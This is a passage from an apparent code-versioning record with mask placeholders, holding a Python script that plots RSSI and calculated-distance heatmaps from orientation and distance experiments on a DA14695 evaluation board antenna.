"step-2": "<mask token>\nfor i_angle in np.arange(0, 360, 45):\n ri_filenames.append('r%di%d.csv' % (i_angle, i_angle))\n ri_filenames.append('r%di%d.csv' % (i_angle + 45, i_angle))\nri_filenames.append('r360i360.csv')\n<mask token>\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. yaw', 'Calculated distance vs. yaw'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp1'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp1_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. pitch', 'Calculated distance vs. pitch'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp2'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp2_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. roll', 'Calculated distance vs. roll'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp3'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp3_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. position', 'Calculated distance vs. position'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp4'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in angle_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 360, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 360, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 360, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp4_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=2, subplot_titles=['Line of sight',\n 'Blocked'], shared_xaxes=True)\n rssi_los_hist2d = []\n dist_los_hist2d = []\n experiment = 'distance_los'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in distance_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_los_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_los_hist2d.append(column)\n rssi_los_hist2d = np.array(rssi_los_hist2d).T\n dist_los_hist2d = np.array(dist_los_hist2d).T\n rssi_blocked_hist2d = []\n dist_blocked_hist2d = []\n experiment = 'distance_blocked'\n for filename in distance_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_blocked_hist2d.append(column)\n column = np.zeros(1000)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_blocked_hist2d.append(column)\n rssi_blocked_hist2d = np.array(rssi_blocked_hist2d).T\n dist_blocked_hist2d = np.array(dist_blocked_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n db_lim[0], db_lim[1], -1), z=rssi_los_hist2d[int(-db_lim[0]):int(-\n db_lim[1]), :], zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n dist_lim[0], dist_lim[1], 0.1), z=dist_los_hist2d[int(dist_lim[0] /\n 0.1):int(dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n db_lim[0], db_lim[1], -1), z=rssi_blocked_hist2d[int(-db_lim[0]):\n int(-db_lim[1]), :], zmin=0, zmax=maxz), row=1, col=2)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n dist_lim[0], dist_lim[1], 0.1), z=dist_blocked_hist2d[int(dist_lim[\n 0] / 0.1):int(dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=2)\n fig.add_trace(go.Scatter(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n 0.75, 3.25, 0.25), mode='lines', line=ref_line), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n 0.75, 3.25, 0.25), mode='lines', line=ref_line), row=2, col=2)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Separation (m)', row=2, col=1)\n fig.update_xaxes(title='Separation (m)', row=2, col=2)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, 'distance_%s.png' % antenna)\n )\n",
"step-3": "<mask token>\noutput_directory = 'C:/Users/jgamm/Desktop/rssi_measurement/2020-06-10/figures'\nantennas = ['original_whip']\nfolder = 'C:/Users/jgamm/Desktop/rssi_measurement/2020-06-10/data'\nri_filenames = []\nfor i_angle in np.arange(0, 360, 45):\n ri_filenames.append('r%di%d.csv' % (i_angle, i_angle))\n ri_filenames.append('r%di%d.csv' % (i_angle + 45, i_angle))\nri_filenames.append('r360i360.csv')\nangle_filenames = [('%d.csv' % n) for n in np.arange(0, 405, 45)]\ndistance_filenames = [('%1.2f.csv' % n) for n in np.arange(0.75, 3.25, 0.25)]\nref_line = dict(color='white', width=1)\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. yaw', 'Calculated distance vs. yaw'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp1'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp1_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. pitch', 'Calculated distance vs. pitch'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp2'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp2_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. roll', 'Calculated distance vs. roll'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp3'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp3_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. position', 'Calculated distance vs. position'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp4'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in angle_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 360, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 360, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 360, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp4_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=2, subplot_titles=['Line of sight',\n 'Blocked'], shared_xaxes=True)\n rssi_los_hist2d = []\n dist_los_hist2d = []\n experiment = 'distance_los'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in distance_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_los_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_los_hist2d.append(column)\n rssi_los_hist2d = np.array(rssi_los_hist2d).T\n dist_los_hist2d = np.array(dist_los_hist2d).T\n rssi_blocked_hist2d = []\n dist_blocked_hist2d = []\n experiment = 'distance_blocked'\n for filename in distance_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_blocked_hist2d.append(column)\n column = np.zeros(1000)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_blocked_hist2d.append(column)\n rssi_blocked_hist2d = np.array(rssi_blocked_hist2d).T\n dist_blocked_hist2d = np.array(dist_blocked_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n db_lim[0], db_lim[1], -1), z=rssi_los_hist2d[int(-db_lim[0]):int(-\n db_lim[1]), :], zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n dist_lim[0], dist_lim[1], 0.1), z=dist_los_hist2d[int(dist_lim[0] /\n 0.1):int(dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n db_lim[0], db_lim[1], -1), z=rssi_blocked_hist2d[int(-db_lim[0]):\n int(-db_lim[1]), :], zmin=0, zmax=maxz), row=1, col=2)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n dist_lim[0], dist_lim[1], 0.1), z=dist_blocked_hist2d[int(dist_lim[\n 0] / 0.1):int(dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=2)\n fig.add_trace(go.Scatter(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n 0.75, 3.25, 0.25), mode='lines', line=ref_line), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n 0.75, 3.25, 0.25), mode='lines', line=ref_line), row=2, col=2)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 